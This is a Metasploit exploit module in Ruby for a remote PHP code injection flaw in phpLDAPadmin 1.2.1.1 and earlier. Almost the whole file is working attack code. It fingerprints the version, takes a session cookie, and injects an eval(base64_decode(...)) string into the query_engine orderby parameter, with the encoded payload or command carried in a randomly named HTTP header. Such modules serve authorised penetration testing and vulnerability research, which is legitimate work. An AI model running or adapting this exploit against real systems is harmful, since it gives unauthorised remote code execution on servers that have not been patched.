phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection



##

# $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Payload::Php

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
            'Description'    => %q{
                    This module exploits a vulnerability in the lib/functions.php that allows
                attackers input parsed directly to the create_function() php function. A patch was 
                issued that uses a whitelist regex expression to check the user supplied input
                before being parsed to the create_function() call.
            },
            'Author'         =>
                [ 
                    'EgiX <n0b0d13s[at]gmail-com>',               # original discovery/poc
                    'mr_me <steventhomasseeley[at]gmail-com>',    # msf
                    'TecR0c <roccogiovannicalvi[at]gmail-com >',  # msf
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 14060 $',
            'References'     =>
                [
                    ['BID', '50331'],
                    ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
                    ['URL', 'http://www.exploit-db.com/exploits/18021/'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 4000,
                    'Keys'        => ['php'],
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Oct 24 2011',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
                ], self.class)
    end

    def check
        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'index.php'

        res = send_request_raw(
            {
                'method'  => 'GET',
                'uri' => uri,
            }, 3)

        if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
            return Exploit::CheckCode::Vulnerable
        end

        return Exploit::CheckCode::Safe
    end

    def get_session
        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'index.php'

        res = send_request_raw(
            {
                'method'  => 'GET',
                'uri' => uri,
            }, 3)

        if (not res.headers['Set-Cookie'])
            print_error("Could not generate a valid session")
            return
        end

        return res.headers['Set-Cookie']
    end

    def cleanup
        # We may not be using php/exe again, so clear the CMD option
        if datastore['CMD']
            datastore['CMD'] = nil
        end
    end

    def exploit
        # if we are using the exec CMD stager
        # important to check which php functions are disabled
        if datastore['CMD']
            cmd = Rex::Text.encode_base64(datastore['CMD'])
            dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
            out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
            shell = <<-END_OF_PHP_CODE
            $c = base64_decode("#{cmd}");
            #{php_preamble({:disabled_varname => dis})}
            #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
            echo #{out};
            END_OF_PHP_CODE
            p = Rex::Text.encode_base64(Rex::Text.compress(shell))
        else
            p = Rex::Text.encode_base64(payload.encoded)
        end

        # Generate some random strings
        hidden_header = rand_text_alpha_upper(6)
        fake_func_name = rand_text_alpha_upper(2)

        # build sttack string
        php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
        data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
        session = get_session

        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'cmd.php'

        res = send_request_cgi(
            {
                'method' => 'POST',
                'uri' => uri,
                'data' => data,
                'headers' =>
                    {
                        "#{hidden_header}" => p,
                        'Cookie' => session,
                        'Connection' => 'Close',
                    },
                
            }, 3)

        print_status("%s" % res.body) if datastore['CMD']
    end

end